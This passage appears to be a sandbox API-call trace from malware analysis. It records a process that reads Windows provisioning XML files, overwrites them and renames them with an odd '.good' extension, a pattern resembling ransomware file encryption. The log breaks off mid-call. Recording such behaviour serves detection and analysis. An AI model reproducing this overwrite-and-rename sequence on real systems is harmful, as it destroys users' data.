lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpFilePart=0x0) returned 0x4c [0117.178] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0117.179] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.179] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f9117b, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f9117b, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f9117b, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x85a, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0117.179] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f6af14, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f6af14, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f6af14, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0117.179] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0117.179] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0117.179] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0117.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0117.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0117.180] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0117.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0117.180] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x34e89c8 | out: lpFileInformation=0x34e89c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f9117b, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f9117b, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f9117b, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x85a)) returned 1 [0117.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0117.181] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0117.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0117.181] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0117.181] GetFileType (hFile=0x768) returned 0x1 [0117.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0117.182] GetFileType (hFile=0x768) returned 0x1 [0117.182] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x85a [0117.182] ReadFile (in: hFile=0x768, lpBuffer=0x34e9540, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x34e9540*, lpNumberOfBytesRead=0x1fcee238*=0x85a, lpOverlapped=0x0) returned 1 [0117.183] CloseHandle (hObject=0x768) returned 1 [0117.210] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0117.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0117.210] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0117.211] GetFileType (hFile=0x768) returned 0x1 [0117.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0117.649] GetFileType (hFile=0x768) returned 0x1 [0117.649] WriteFile (in: hFile=0x768, lpBuffer=0x33e5958*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x33e5958*, lpNumberOfBytesWritten=0x1fcee148*=0x860, lpOverlapped=0x0) returned 1 [0117.651] CloseHandle (hObject=0x768) returned 1 [0117.651] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0117.651] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0117.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0117.651] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f9117b, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f9117b, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x42579221, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x860)) returned 1 [0117.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0117.651] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.gоod")) returned 1 [0117.652] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0117.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0117.652] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x33e6c88 | out: lpFileInformation=0x33e6c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f6af14, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f6af14, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f6af14, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0117.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0117.653] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0117.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0117.653] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0117.653] GetFileType (hFile=0x768) returned 0x1 [0117.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0117.653] GetFileType (hFile=0x768) returned 0x1 [0117.653] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x10f [0117.653] ReadFile (in: hFile=0x768, lpBuffer=0x33e70c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x33e70c0*, lpNumberOfBytesRead=0x1fcee238*=0x10f, lpOverlapped=0x0) returned 1 [0117.654] CloseHandle (hObject=0x768) returned 1 [0117.742] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0117.945] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0118.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0118.423] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0118.482] GetFileType (hFile=0x6e4) returned 0x1 [0118.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0118.482] GetFileType (hFile=0x6e4) returned 0x1 [0118.482] WriteFile (in: hFile=0x6e4, lpBuffer=0x35678b8*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x35678b8*, lpNumberOfBytesWritten=0x1fcee148*=0x110, lpOverlapped=0x0) returned 1 [0118.483] CloseHandle (hObject=0x6e4) returned 1 [0118.483] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0118.483] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0118.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0118.483] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f6af14, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f6af14, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x42d52f84, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0118.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0118.483] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml.gоod")) returned 1 [0118.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0118.484] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov", lpFilePart=0x0) returned 0x51 [0118.484] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0118.485] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.485] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0118.485] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0118.485] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.485] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0118.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0118.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0118.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0118.485] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov", lpFilePart=0x0) returned 0x51 [0118.485] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0118.486] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.486] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0118.486] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0118.486] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0118.486] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0118.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0118.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0118.486] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0118.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0118.486] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x35774a8 | out: lpFileInformation=0x35774a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb)) returned 1 [0118.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0118.487] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced210, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0118.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced730) returned 1 [0118.487] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" 